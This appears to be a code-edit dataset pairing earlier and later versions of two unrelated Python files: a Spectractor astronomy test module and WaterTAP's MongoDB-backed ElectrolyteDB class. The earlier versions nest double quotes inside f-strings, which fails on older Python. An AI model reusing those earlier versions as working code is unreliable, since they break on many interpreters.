assert 2 < np.mean(spectrum.chromatic_psf.table['gamma']) * parameters.CCD_REBIN < 3.5
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrum.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrogram.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_lines.csv'))) is True
def test_extractor_ctio_planetary_nebula():
file_names = ['tests/data/reduc_20170605_028.fits']
output_directory = "./outputs"
logbook = LogBook(logbook='./ctiofulllogbook_jun2017_v5.csv')
load_config("./config/ctio.ini")
parameters.VERBOSE = True
parameters.DEBUG = True
parameters.CCD_REBIN = 1 # do not work with other values
parameters.LAMBDA_MIN = 450
parameters.LAMBDA_MAX = 1000
for file_name in file_names:
tag = file_name.split('/')[-1]
disperser_label, target_label, xpos, ypos = logbook.search_for_image(tag)
if target_label is None or xpos is None or ypos is None:
continue
spectrum = Spectractor(file_name, output_directory, target_label, [xpos, ypos], disperser_label,
atmospheric_lines=True)
assert spectrum.data is not None
spectrum.my_logger.warning(f"\n\tQuantities to test:"
f"\n\t\tspectrum.lambdas[0]={spectrum.lambdas[0]}"
f"\n\t\tspectrum.lambdas[-1]={spectrum.lambdas[-1]}"
f"\n\t\tspectrum.x0={spectrum.x0}"
f"\n\t\tspectrum.spectrogram_x0={spectrum.spectrogram_x0}"
f"\n\t\tspectrum total flux={np.sum(spectrum.data) * parameters.CCD_REBIN ** 2}"
f"\n\t\tnp.mean(spectrum.chromatic_psf.table['gamma']="
f"{np.mean(spectrum.chromatic_psf.table["gamma"])}")
if parameters.PSF_EXTRACTION_MODE == "PSD_2D":
assert np.isclose(spectrum.lambdas[0], 449, atol=1)
assert np.isclose(spectrum.lambdas[-1], 996, atol=1)
elif parameters.PSF_EXTRACTION_MODE == "PSF_1D":
assert np.isclose(spectrum.lambdas[0], 443, atol=1)
assert np.isclose(spectrum.lambdas[-1], 981, atol=1)
assert np.isclose(spectrum.spectrogram_x0, -368, atol=1)
assert np.sum(spectrum.data) * parameters.CCD_REBIN ** 2 > 1e-11 / parameters.CCD_REBIN
assert np.isclose(spectrum.x0[0] * parameters.CCD_REBIN, 816.75, atol=0.5 * parameters.CCD_REBIN)
assert np.isclose(spectrum.x0[1] * parameters.CCD_REBIN, 587.67, atol=1 * parameters.CCD_REBIN)
assert 1 < np.mean(spectrum.chromatic_psf.table['gamma']) * parameters.CCD_REBIN < 2.5
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrum.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrogram.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_lines.csv'))) is True
def extractor_auxtel():
file_names = ['tests/data/calexp_2020031500162-EMPTY_ronchi90lpmm-det000.fits'] # image 1
# file_names = ['tests/data/calexp_2020031200313-EMPTY_ronchi90lpmm-det000.fits'] # image 2
# file_names = ['tests/data/calexp_2020022100767-EMPTY_ronchi90lpmm-det000.fits'] # image 3
# file_names = ['tests/data//calexp_2020021800154-EMPTY_ronchi90lpmm-det000.fits'] # image 4
# tests/data/auxtel_first_light-1.fits']
# logbook = LogBook(logbook='./ctiofulllogbook_jun2017_v5.csv')
parameters.VERBOSE = True
parameters.DEBUG = True
xpos = 1600
ypos = 2293
target_label = "HD107696"
for config in ['./config/auxtel_quicklook.ini', './config/auxtel.ini']:
for file_name in file_names:
# tag = file_name.split('/')[-1]
# disperser_label, target, xpos, ypos = logbook.search_for_image(tag)
spectrum = Spectractor(file_name, './outputs/', target_label=target_label, guess=[xpos, ypos],
config=config, atmospheric_lines=True)
assert spectrum.data is not None
assert np.sum(spectrum.data) > 1e-14
# spectrum.my_logger.warning(f"\n\tQuantities to test:"
# f"\n\t\tspectrum.lambdas[0]={spectrum.lambdas[0]}"
# f"\n\t\tspectrum.lambdas[-1]={spectrum.lambdas[-1]}"
# f"\n\t\tspectrum.x0={spectrum.x0}"
# f"\n\t\tspectrum.spectrogram_x0={spectrum.spectrogram_x0}"
# f"\n\t\tnp.mean(spectrum.chromatic_psf.table['gamma']="
# f"{np.mean(spectrum.chromatic_psf.table["gamma"])}")
# assert np.isclose(spectrum.lambdas[0], 296, atol=1)
# assert np.isclose(spectrum.lambdas[-1], 1083.5, atol=1)
# assert np.isclose(spectrum.x0[0], 743.6651370068676, atol=0.5)
# assert np.isclose(spectrum.x0[1], 683.0577836601408, atol=1)
# assert np.isclose(spectrum.spectrogram_x0, -240, atol=1)
# assert 2 < np.mean(spectrum.chromatic_psf.table['gamma']) < 3
# assert os.path.isfile('./outputs/' + tag.replace('.fits', '_spectrum.fits')) is True
# assert os.path.isfile('./outputs/' + tag.replace('.fits', '_spectrogram.fits')) is True
if __name__ == "__main__":
run_module_suite()
| from numpy.testing import run_module_suite
from spectractor import parameters
from spectractor.extractor.extractor import Spectractor
from spectractor.logbook import LogBook
from spectractor.config import load_config
import os
import numpy as np
def test_logbook():
logbook = LogBook('./ctiofulllogbook_jun2017_v5.csv')
# target, xpos, ypos = logbook.search_for_image('reduc_20170529_085.fits')
# assert xpos is None
disperser_label, target, xpos, ypos = logbook.search_for_image('reduc_20170603_020.fits')
assert target == "PKS1510-089"
assert xpos == 830
assert ypos == 590
# logbook = LogBook('./ctiofulllogbook_jun2017_v5.csv')
# logbook.plot_columns_vs_date(['T', 'seeing', 'W'])
def test_extractor_ctio():
file_names = ['tests/data/reduc_20170530_134.fits']
output_directory = "./outputs"
logbook = LogBook(logbook='./ctiofulllogbook_jun2017_v5.csv')
load_config("./config/ctio.ini")
parameters.VERBOSE = True
parameters.DEBUG = True
parameters.CCD_REBIN = 2
for file_name in file_names:
tag = file_name.split('/')[-1].replace("sim", "reduc")
disperser_label, target_label, xpos, ypos = logbook.search_for_image(tag)
if target_label is None or xpos is None or ypos is None:
continue
spectrum = Spectractor(file_name, output_directory, target_label, [xpos, ypos], disperser_label,
atmospheric_lines=True)
assert spectrum.data is not None
spectrum.my_logger.warning(f"\n\tQuantities to test:"
f"\n\t\tspectrum.lambdas[0]={spectrum.lambdas[0]}"
f"\n\t\tspectrum.lambdas[-1]={spectrum.lambdas[-1]}"
f"\n\t\tspectrum.x0={spectrum.x0}"
f"\n\t\tspectrum.spectrogram_x0={spectrum.spectrogram_x0}"
f"\n\t\tspectrum total flux={np.sum(spectrum.data) * parameters.CCD_REBIN ** 2}"
f"\n\t\tnp.mean(spectrum.chromatic_psf.table['gamma']="
f"{np.mean(spectrum.chromatic_psf.table['gamma'])}")
assert np.sum(spectrum.data) * parameters.CCD_REBIN**2 > 2e-11 / parameters.CCD_REBIN
if parameters.CCD_REBIN == 1:
if parameters.PSF_EXTRACTION_MODE == "PSD_2D":
assert np.isclose(spectrum.lambdas[0], 343, atol=1)
assert np.isclose(spectrum.lambdas[-1], 1084.0, atol=1)
elif parameters.PSF_EXTRACTION_MODE == "PSF_1D":
assert np.isclose(spectrum.lambdas[0], 347, atol=1)
assert np.isclose(spectrum.lambdas[-1], 1085.0, atol=1)
assert np.isclose(spectrum.spectrogram_x0, -280, atol=1)
assert np.isclose(spectrum.x0[0] * parameters.CCD_REBIN, 743.6651370068676, atol=0.5 * parameters.CCD_REBIN)
assert np.isclose(spectrum.x0[1] * parameters.CCD_REBIN, 683.0577836601408, atol=1 * parameters.CCD_REBIN)
assert 2 < np.mean(spectrum.chromatic_psf.table['gamma']) * parameters.CCD_REBIN < 3.5
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrum.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrogram.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_lines.csv'))) is True
def test_extractor_ctio_planetary_nebula():
file_names = ['tests/data/reduc_20170605_028.fits']
output_directory = "./outputs"
logbook = LogBook(logbook='./ctiofulllogbook_jun2017_v5.csv')
load_config("./config/ctio.ini")
parameters.VERBOSE = True
parameters.DEBUG = True
parameters.CCD_REBIN = 1 # do not work with other values
parameters.LAMBDA_MIN = 450
parameters.LAMBDA_MAX = 1000
for file_name in file_names:
tag = file_name.split('/')[-1]
disperser_label, target_label, xpos, ypos = logbook.search_for_image(tag)
if target_label is None or xpos is None or ypos is None:
continue
spectrum = Spectractor(file_name, output_directory, target_label, [xpos, ypos], disperser_label,
atmospheric_lines=True)
assert spectrum.data is not None
spectrum.my_logger.warning(f"\n\tQuantities to test:"
f"\n\t\tspectrum.lambdas[0]={spectrum.lambdas[0]}"
f"\n\t\tspectrum.lambdas[-1]={spectrum.lambdas[-1]}"
f"\n\t\tspectrum.x0={spectrum.x0}"
f"\n\t\tspectrum.spectrogram_x0={spectrum.spectrogram_x0}"
f"\n\t\tspectrum total flux={np.sum(spectrum.data) * parameters.CCD_REBIN ** 2}"
f"\n\t\tnp.mean(spectrum.chromatic_psf.table['gamma']="
f"{np.mean(spectrum.chromatic_psf.table['gamma'])}")
if parameters.PSF_EXTRACTION_MODE == "PSD_2D":
assert np.isclose(spectrum.lambdas[0], 449, atol=1)
assert np.isclose(spectrum.lambdas[-1], 996, atol=1)
elif parameters.PSF_EXTRACTION_MODE == "PSF_1D":
assert np.isclose(spectrum.lambdas[0], 443, atol=1)
assert np.isclose(spectrum.lambdas[-1], 981, atol=1)
assert np.isclose(spectrum.spectrogram_x0, -368, atol=1)
assert np.sum(spectrum.data) * parameters.CCD_REBIN ** 2 > 1e-11 / parameters.CCD_REBIN
assert np.isclose(spectrum.x0[0] * parameters.CCD_REBIN, 816.75, atol=0.5 * parameters.CCD_REBIN)
assert np.isclose(spectrum.x0[1] * parameters.CCD_REBIN, 587.67, atol=1 * parameters.CCD_REBIN)
assert 1 < np.mean(spectrum.chromatic_psf.table['gamma']) * parameters.CCD_REBIN < 2.5
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrum.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_spectrogram.fits'))) is True
assert os.path.isfile(os.path.join(output_directory, tag.replace('.fits', '_lines.csv'))) is True
def extractor_auxtel():
file_names = ['tests/data/calexp_2020031500162-EMPTY_ronchi90lpmm-det000.fits'] # image 1
# file_names = ['tests/data/calexp_2020031200313-EMPTY_ronchi90lpmm-det000.fits'] # image 2
# file_names = ['tests/data/calexp_2020022100767-EMPTY_ronchi90lpmm-det000.fits'] # image 3
# file_names = ['tests/data//calexp_2020021800154-EMPTY_ronchi90lpmm-det000.fits'] # image 4
# tests/data/auxtel_first_light-1.fits']
# logbook = LogBook(logbook='./ctiofulllogbook_jun2017_v5.csv')
parameters.VERBOSE = True
parameters.DEBUG = True
xpos = 1600
ypos = 2293
target_label = "HD107696"
for config in ['./config/auxtel_quicklook.ini', './config/auxtel.ini']:
for file_name in file_names:
# tag = file_name.split('/')[-1]
# disperser_label, target, xpos, ypos = logbook.search_for_image(tag)
spectrum = Spectractor(file_name, './outputs/', target_label=target_label, guess=[xpos, ypos],
config=config, atmospheric_lines=True)
assert spectrum.data is not None
assert np.sum(spectrum.data) > 1e-14
# spectrum.my_logger.warning(f"\n\tQuantities to test:"
# f"\n\t\tspectrum.lambdas[0]={spectrum.lambdas[0]}"
# f"\n\t\tspectrum.lambdas[-1]={spectrum.lambdas[-1]}"
# f"\n\t\tspectrum.x0={spectrum.x0}"
# f"\n\t\tspectrum.spectrogram_x0={spectrum.spectrogram_x0}"
# f"\n\t\tnp.mean(spectrum.chromatic_psf.table['gamma']="
# f"{np.mean(spectrum.chromatic_psf.table['gamma'])}")
# assert np.isclose(spectrum.lambdas[0], 296, atol=1)
# assert np.isclose(spectrum.lambdas[-1], 1083.5, atol=1)
# assert np.isclose(spectrum.x0[0], 743.6651370068676, atol=0.5)
# assert np.isclose(spectrum.x0[1], 683.0577836601408, atol=1)
# assert np.isclose(spectrum.spectrogram_x0, -240, atol=1)
# assert 2 < np.mean(spectrum.chromatic_psf.table['gamma']) < 3
# assert os.path.isfile('./outputs/' + tag.replace('.fits', '_spectrum.fits')) is True
# assert os.path.isfile('./outputs/' + tag.replace('.fits', '_spectrogram.fits')) is True
if __name__ == "__main__":
run_module_suite()
|
###############################################################################
# WaterTAP Copyright (c) 2021, The Regents of the University of California,
# through Lawrence Berkeley National Laboratory, Oak Ridge National
# Laboratory, National Renewable Energy Laboratory, and National Energy
# Technology Laboratory (subject to receipt of any required approvals from
# the U.S. Dept. of Energy). All rights reserved.
#
# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and license
# information, respectively. These files are also available online at the URL
# "https://github.com/watertap-org/watertap/"
#
###############################################################################
"""
Database operations API
"""
# stdlib
import logging
import re
from typing import Dict, List, Optional, Union
# third-party
try:
import certifi
except ImportError:
certifi = None
from pymongo import MongoClient
from pymongo.errors import ConnectionFailure, ServerSelectionTimeoutError, PyMongoError
# package
from .data_model import Result, Component, Reaction, Base, DataWrapper
__author__ = "Dan Gunter (LBNL)"
_log = logging.getLogger(__name__)
class ElectrolyteDB:
"""Interface to the Electrolyte database.
This uses MongoDB as the underlying data store.
"""
DEFAULT_HOST = "localhost"
DEFAULT_PORT = 27017
DEFAULT_URL = f"mongodb://{DEFAULT_HOST}:{DEFAULT_PORT}"
DEFAULT_DB = "electrolytedb"
# Default timeout, in ms, for sockets, connections, and server selection
timeout_ms = 5000
timeout_args = {
"socketTimeoutMS": timeout_ms,
"connectTimeoutMS": timeout_ms,
"serverSelectionTimeoutMS": timeout_ms,
}
# make sure these match lowercase names of the DataWrapper subclasses in
# the `data_model` module
_known_collections = ("base", "component", "reaction")
def __init__(
self,
url: str = DEFAULT_URL,
db: str = DEFAULT_DB,
check_connection: bool = True,
):
"""Constructor.
Args:
url: MongoDB server URL
db: MongoDB 'database' (namespace) to use
check_connection: If True, check immediately if we can connect to the
server at the provided url. Otherwise defer this check until the
first operation (at which point a stack trace may occur).
Raises:
pymongo.errors.ConnectionFailure: if check_connection is True,
and the connection fails
"""
self._mongoclient_connect_status = {"initial": "untried", "retry": "untried"}
self._client = self._mongoclient(url, check_connection, **self.timeout_args)
if self._client is None:
msg = self.connect_status_str
_log.error(msg)
raise ConnectionFailure(msg)
self._db = getattr(self._client, db)
self._db = getattr(self._client, db)
self._database_name = db
self._server_url = url
def is_empty(self) -> bool:
if self._database_name not in self._client.list_database_names():
return True
collections = set(self._db.list_collection_names())
if not collections:
return True
if not {"base", "component", "reaction"}.intersection(collections):
_log.warning(
"Bootstrapping into non-empty database, but without any EDB collections"
)
return True
return False
@staticmethod
def drop_database(url, db):
"""Drop a database.
Args:
url: MongoDB server URL
db: Database name
Returns:
None
Raises:
anything pymongo.MongoClient() can raise
"""
client = MongoClient(host=url)
client.drop_database(db)
@classmethod
def can_connect(cls, url=None, db=None) -> bool:
"""Convenience method to check if a connection can be made without having
to instantiate the database object.
Args:
url: Same as constructor
db: Same as constructor
Returns:
True, yes can connect; False: cannot connect
"""
url = url or f"mongodb://{cls.DEFAULT_HOST}:{cls.DEFAULT_PORT}"
db = db or cls.DEFAULT_DB
result = True
try:
_ = cls(url=url, db=db, check_connection=True)
except ConnectionFailure:
result = False
return result
def _mongoclient(self, url: str, check, **client_kw) -> Union[MongoClient, None]:
_log.debug(f"Begin: Create MongoDB client. url={url}")
mc = MongoClient(url, **client_kw)
if not check:
_log.info(f"Skipping connection check for MongoDB client. url={url}")
_log.debug(f"End: Create MongoDB client. url={url}")
return mc
# check that client actually works
_log.info(f"Connection check MongoDB client url={url}")
try:
mc.admin.command("ismaster")
self._mongoclient_connect_status["initial"] = "ok"
_log.info("MongoDB connection succeeded")
except ConnectionFailure as conn_err:
mc = None
self._mongoclient_connect_status["initial"] = str(conn_err)
if "CERTIFICATE_VERIFY_FAILED" in str(conn_err):
_log.warning(f"MongoDB connection failed due to certificate "
f"verification.")
if certifi is not None:
_log.info("Retrying MongoDB connection with explicit location "
f"for client certificates ({certifi.where()})")
try:
mc = MongoClient(url, tlsCAFile=certifi.where(), **client_kw)
mc.admin.command("ismaster")
_log.info("Retried MongoDB connection succeeded")
except ConnectionFailure as err:
mc = None
self._mongoclient_connect_status["retry"] = str(err)
_log.error(self.connect_status_str)
_log.debug(f"End: Create MongoDB client. url={url}")
return mc
@property
def connect_status(self) -> Dict:
return self._mongoclient_connect_status.copy()
@property
def connect_status_str(self) -> str:
e = self._mongoclient_connect_status
if e["initial"] == "ok":
return "Connection succeeded"
if e["retry"] == "ok":
return "Initial connection failed, but retry succeeded"
return f"Initial connection error ({e["initial"]}), retry error ({e["retry"]})"
@property
def database(self):
return self._database_name
@property
def url(self):
return self._server_url
def get_components(
self,
component_names: Optional[List[str]] = None,
element_names: Optional[List[str]] = None,
) -> Result:
"""Get thermodynamic information for components of reactions.
Args:
component_names: List of component names
element_names: List of element names (ignored if component_names is given)
Returns:
All components matching the criteria (or all if none specified)
"""
collection = self._db.component
if component_names:
query = {"$or": [{"name": n} for n in component_names]}
_log.debug(f"get_components. components={component_names} query={query}")
it = collection.find(filter=query)
elif element_names:
elt_set, elt_list = set(element_names), list(element_names)
# Find all components with at least one of the specified elements,
# then filter results to include only components where the elements
# are a subset of the specified elements (i.e., no 'other' elements).
it = (
doc
for doc in collection.find({"elements": {"$in": elt_list}})
if set(doc["elements"]) <= elt_set
)
else:
_log.debug(f"get_components. get all components (empty query)")
it = collection.find(filter={})
result = Result(iterator=it, item_class=Component)
return result
def get_reactions(
self,
component_names: Optional[List] = None,
phases: Union[List[str], str] = None,
any_components: bool = False,
include_new_components: bool = False,
reaction_names: Optional[List] = None,
) -> Result:
"""Get reaction information.
Args:
component_names: List of component names
phases: Phase(s) to include; if not given allow any.
any_components: If False, the default, only return reactions where
one side of the reaction has all components provided.
If true, return the (potentially larger) set of reactions where
any of the components listed are present.
include_new_components: If False, the default, only return reactions where
all given components are found in that reaction (and no new components)
are used in that reaction.
reaction_names: List of reaction names instead of component names
Returns:
All reactions containing any of the names (or all reactions,
if not specified)
"""
collection = self._db.reaction
if component_names:
found = []
if phases is None:
allow_phases = None
elif isinstance(phases, str):
allow_phases = {phases}
else:
allow_phases = set(phases)
# build a set of normalized component names
cnames = {c.replace(" ", "_") for c in component_names}
_log.debug(
f"Get reaction with {"any" if any_components else "all"} "
f"components {cnames}"
)
# Brute force table scan: need to restructure DB for this to be
# easy to do with a MongoDB query, i.e. need to put all the
# *keys* for stoichiometry.Liq as *values* in an array, then do a:
# {$not: {$elemMatch: { $nin: [<components>] } } } on that array
stoich_field = Reaction.NAMES.stoich
for item in collection.find():
stoich = {}
disallow = False
for phase in item[stoich_field].keys():
if allow_phases is not None and phase not in allow_phases:
disallow = True
for n in item[stoich_field][phase]:
stoich[n] = item[stoich_field][phase][n]
#If the item involves a phase that is not allowed, then move on to next item
if (disallow):
continue
#If stoich is empty, then move on to next item
if (stoich == {}):
continue
if any_components:
# look for non-empty intersection
if set(stoich.keys()) & cnames:
found.append(item)
else:
# ok if it matches both sides
if set(stoich.keys()) == cnames:
found.append(item)
# also ok if it matches everything on one side
else:
# Add a reaction if all the products/reactants
# can be formed. This allows addition of reactions
# that may include species not yet considered.
if (include_new_components == True):
for side in -1, 1:
side_keys = (k for k, v in stoich.items() if abs(v)/v == side)
if set(side_keys).issubset(cnames):
found.append(item)
break # found; stop
# Otherwise, only include reactions that are subsets of
# the given component list
else:
if set(stoich.keys()).issubset(cnames):
found.append(item)
it = iter(found)
elif reaction_names:
query = {"name": {"$in": reaction_names}}
_log.debug(f"reaction query: {query}")
it = collection.find(filter=query)
else:
it = collection.find()
return Result(iterator=it, item_class=Reaction)
def get_base(self, name: str = None) -> Union[Result, Base]:
"""Get base information by name of its type.
Args:
name: Name of the base type.
Returns:
If no name is given, a Result iterator over all the bases.
Otherwise, a single `Base` object.
"""
if name:
query = {"name": name}
else:
query = {}
collection = self._db.base
result = Result(iterator=collection.find(filter=query), item_class=Base)
if name:
try:
return list(result)[0]
except IndexError:
raise IndexError("No bases found in DB")
else:
return result
# older method name
get_one_base = get_base
def load(
self,
data: Union[Dict, List[Dict], DataWrapper, List[DataWrapper]],
rec_type: str = "base",
) -> int:
"""Load a single record or list of records.
Args:
data: Data to load, as a single or list of dictionaries or :class:`DataWrapper` subclass
rec_type: If input is a dict, the type of record. This argument is ignored if the input is
a subclass of DataWrapper.
Returns:
Number of records loaded
"""
is_object = False
if isinstance(data, DataWrapper):
data = [data]
is_object = True
elif isinstance(data, dict):
data = [data]
else:
is_object = isinstance(data[0], DataWrapper)
if is_object:
rec_type = data[0].__class__.__name__.lower()
else:
assert rec_type in self._known_collections
num = 0
for item in data:
coll = getattr(self._db, rec_type)
record = item.json_data if is_object else item
coll.insert_one(self.preprocess_record(record, rec_type))
num += 1
return num
# XXX: This preprocessing overlaps with data_model.DataWrapper subclasses.
# XXX: It should all be moved to one place
@classmethod
def preprocess_record(cls, record, rec_type):
process_func = getattr(cls, f"_process_{rec_type}")
return process_func(record)
@staticmethod
def _process_component(rec):
rec["elements"] = get_elements_from_components([rec["name"]])
return rec
@staticmethod
def _process_reaction(rec):
rec["reactant_elements"] = get_elements_from_components(
rec.get("components", []))
# If reaction_order is not present in parameters, create it by
# copying the stoichiometry (or empty for each phase, if stoich. not found)
if Reaction.NAMES.param in rec:
param = rec[Reaction.NAMES.param]
if Reaction.NAMES.reaction_order not in param:
if Reaction.NAMES.stoich in rec:
param[Reaction.NAMES.reaction_order] = rec[
Reaction.NAMES.stoich].copy()
else:
param[Reaction.NAMES.reaction_order] = {
phase: {} for phase in Reaction.PHASES
}
return rec
@staticmethod
def _process_base(rec):
return rec
@staticmethod
def _process_species(s):
"""Make species match https://jess.murdoch.edu.au/jess_spcdoc.shtml"""
m = re.match(r"([a-zA-Z0-9]+)\s*(\d*[\-+])?", s)
if m is None:
raise ValueError(f"Bad species: {s}")
symbols, input_charge = m.groups()
if input_charge is None:
charge = ""
elif len(input_charge) > 1:
# make 2+ -> +2
num = input_charge[:-1]
sign = input_charge[-1]
charge = f"{sign}{num}"
else:
charge = input_charge
# print(f"{s} -> {symbols}{charge}")
return f"{symbols}{charge}"
def get_elements_from_components(components):
elements = set()
for comp in components:
# print(f"Get elements from: {comp}")
for m in re.finditer(r"[A-Z][a-z]?", comp):
element = comp[m.start() : m.end()]
if element[0] == "K" and len(element) > 1:
pass
else:
elements.add(element)
return list(elements)
| ###############################################################################
# WaterTAP Copyright (c) 2021, The Regents of the University of California,
# through Lawrence Berkeley National Laboratory, Oak Ridge National
# Laboratory, National Renewable Energy Laboratory, and National Energy
# Technology Laboratory (subject to receipt of any required approvals from
# the U.S. Dept. of Energy). All rights reserved.
#
# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and license
# information, respectively. These files are also available online at the URL
# "https://github.com/watertap-org/watertap/"
#
###############################################################################
"""
Database operations API
"""
# stdlib
import logging
import re
from typing import Dict, List, Optional, Union
# third-party
try:
import certifi
except ImportError:
certifi = None
from pymongo import MongoClient
from pymongo.errors import ConnectionFailure, ServerSelectionTimeoutError, PyMongoError
# package
from .data_model import Result, Component, Reaction, Base, DataWrapper
__author__ = "Dan Gunter (LBNL)"
_log = logging.getLogger(__name__)
class ElectrolyteDB:
"""Interface to the Electrolyte database.
This uses MongoDB as the underlying data store.
"""
DEFAULT_HOST = "localhost"
DEFAULT_PORT = 27017
DEFAULT_URL = f"mongodb://{DEFAULT_HOST}:{DEFAULT_PORT}"
DEFAULT_DB = "electrolytedb"
# Default timeout, in ms, for sockets, connections, and server selection
timeout_ms = 5000
timeout_args = {
"socketTimeoutMS": timeout_ms,
"connectTimeoutMS": timeout_ms,
"serverSelectionTimeoutMS": timeout_ms,
}
# make sure these match lowercase names of the DataWrapper subclasses in
# the `data_model` module
_known_collections = ("base", "component", "reaction")
def __init__(
self,
url: str = DEFAULT_URL,
db: str = DEFAULT_DB,
check_connection: bool = True,
):
"""Constructor.
Args:
url: MongoDB server URL
db: MongoDB 'database' (namespace) to use
check_connection: If True, check immediately if we can connect to the
server at the provided url. Otherwise defer this check until the
first operation (at which point a stack trace may occur).
Raises:
pymongo.errors.ConnectionFailure: if check_connection is True,
and the connection fails
"""
self._mongoclient_connect_status = {"initial": "untried", "retry": "untried"}
self._client = self._mongoclient(url, check_connection, **self.timeout_args)
if self._client is None:
msg = self.connect_status_str
_log.error(msg)
raise ConnectionFailure(msg)
self._db = getattr(self._client, db)
self._db = getattr(self._client, db)
self._database_name = db
self._server_url = url
def is_empty(self) -> bool:
if self._database_name not in self._client.list_database_names():
return True
collections = set(self._db.list_collection_names())
if not collections:
return True
if not {"base", "component", "reaction"}.intersection(collections):
_log.warning(
"Bootstrapping into non-empty database, but without any EDB collections"
)
return True
return False
@staticmethod
def drop_database(url, db):
"""Drop a database.
Args:
url: MongoDB server URL
db: Database name
Returns:
None
Raises:
anything pymongo.MongoClient() can raise
"""
client = MongoClient(host=url)
client.drop_database(db)
@classmethod
def can_connect(cls, url=None, db=None) -> bool:
"""Convenience method to check if a connection can be made without having
to instantiate the database object.
Args:
url: Same as constructor
db: Same as constructor
Returns:
True, yes can connect; False: cannot connect
"""
url = url or f"mongodb://{cls.DEFAULT_HOST}:{cls.DEFAULT_PORT}"
db = db or cls.DEFAULT_DB
result = True
try:
_ = cls(url=url, db=db, check_connection=True)
except ConnectionFailure:
result = False
return result
def _mongoclient(self, url: str, check, **client_kw) -> Union[MongoClient, None]:
_log.debug(f"Begin: Create MongoDB client. url={url}")
mc = MongoClient(url, **client_kw)
if not check:
_log.info(f"Skipping connection check for MongoDB client. url={url}")
_log.debug(f"End: Create MongoDB client. url={url}")
return mc
# check that client actually works
_log.info(f"Connection check MongoDB client url={url}")
try:
mc.admin.command("ismaster")
self._mongoclient_connect_status["initial"] = "ok"
_log.info("MongoDB connection succeeded")
except ConnectionFailure as conn_err:
mc = None
self._mongoclient_connect_status["initial"] = str(conn_err)
if "CERTIFICATE_VERIFY_FAILED" in str(conn_err):
_log.warning(f"MongoDB connection failed due to certificate "
f"verification.")
if certifi is not None:
_log.info("Retrying MongoDB connection with explicit location "
f"for client certificates ({certifi.where()})")
try:
mc = MongoClient(url, tlsCAFile=certifi.where(), **client_kw)
mc.admin.command("ismaster")
_log.info("Retried MongoDB connection succeeded")
except ConnectionFailure as err:
mc = None
self._mongoclient_connect_status["retry"] = str(err)
_log.error(self.connect_status_str)
_log.debug(f"End: Create MongoDB client. url={url}")
return mc
@property
def connect_status(self) -> Dict:
return self._mongoclient_connect_status.copy()
@property
def connect_status_str(self) -> str:
e = self._mongoclient_connect_status
if e["initial"] == "ok":
return "Connection succeeded"
if e["retry"] == "ok":
return "Initial connection failed, but retry succeeded"
return f"Initial connection error ({e['initial']}), retry error ({e['retry']})"
@property
def database(self):
return self._database_name
@property
def url(self):
return self._server_url
def get_components(
self,
component_names: Optional[List[str]] = None,
element_names: Optional[List[str]] = None,
) -> Result:
"""Get thermodynamic information for components of reactions.
Args:
component_names: List of component names
element_names: List of element names (ignored if component_names is given)
Returns:
All components matching the criteria (or all if none specified)
"""
collection = self._db.component
if component_names:
query = {"$or": [{"name": n} for n in component_names]}
_log.debug(f"get_components. components={component_names} query={query}")
it = collection.find(filter=query)
elif element_names:
elt_set, elt_list = set(element_names), list(element_names)
# Find all components with at least one of the specified elements,
# then filter results to include only components where the elements
# are a subset of the specified elements (i.e., no 'other' elements).
it = (
doc
for doc in collection.find({"elements": {"$in": elt_list}})
if set(doc["elements"]) <= elt_set
)
else:
_log.debug(f"get_components. get all components (empty query)")
it = collection.find(filter={})
result = Result(iterator=it, item_class=Component)
return result
def get_reactions(
self,
component_names: Optional[List] = None,
phases: Union[List[str], str] = None,
any_components: bool = False,
include_new_components: bool = False,
reaction_names: Optional[List] = None,
) -> Result:
"""Get reaction information.
Args:
component_names: List of component names
phases: Phase(s) to include; if not given allow any.
any_components: If False, the default, only return reactions where
one side of the reaction has all components provided.
If true, return the (potentially larger) set of reactions where
any of the components listed are present.
include_new_components: If False, the default, only return reactions where
all given components are found in that reaction (and no new components)
are used in that reaction.
reaction_names: List of reaction names instead of component names
Returns:
All reactions containing any of the names (or all reactions,
if not specified)
"""
collection = self._db.reaction
if component_names:
found = []
if phases is None:
allow_phases = None
elif isinstance(phases, str):
allow_phases = {phases}
else:
allow_phases = set(phases)
# build a set of normalized component names
cnames = {c.replace(" ", "_") for c in component_names}
_log.debug(
f"Get reaction with {'any' if any_components else 'all'} "
f"components {cnames}"
)
# Brute force table scan: need to restructure DB for this to be
# easy to do with a MongoDB query, i.e. need to put all the
# *keys* for stoichiometry.Liq as *values* in an array, then do a:
# {$not: {$elemMatch: { $nin: [<components>] } } } on that array
stoich_field = Reaction.NAMES.stoich
for item in collection.find():
stoich = {}
disallow = False
for phase in item[stoich_field].keys():
if allow_phases is not None and phase not in allow_phases:
disallow = True
for n in item[stoich_field][phase]:
stoich[n] = item[stoich_field][phase][n]
#If the item involves a phase that is not allowed, then move on to next item
if (disallow):
continue
#If stoich is empty, then move on to next item
if (stoich == {}):
continue
if any_components:
# look for non-empty intersection
if set(stoich.keys()) & cnames:
found.append(item)
else:
# ok if it matches both sides
if set(stoich.keys()) == cnames:
found.append(item)
# also ok if it matches everything on one side
else:
# Add a reaction if all the products/reactants
# can be formed. This allows addition of reactions
# that may include species not yet considered.
if (include_new_components == True):
for side in -1, 1:
side_keys = (k for k, v in stoich.items() if abs(v)/v == side)
if set(side_keys).issubset(cnames):
found.append(item)
break # found; stop
# Otherwise, only include reactions that are subsets of
# the given component list
else:
if set(stoich.keys()).issubset(cnames):
found.append(item)
it = iter(found)
elif reaction_names:
query = {"name": {"$in": reaction_names}}
_log.debug(f"reaction query: {query}")
it = collection.find(filter=query)
else:
it = collection.find()
return Result(iterator=it, item_class=Reaction)
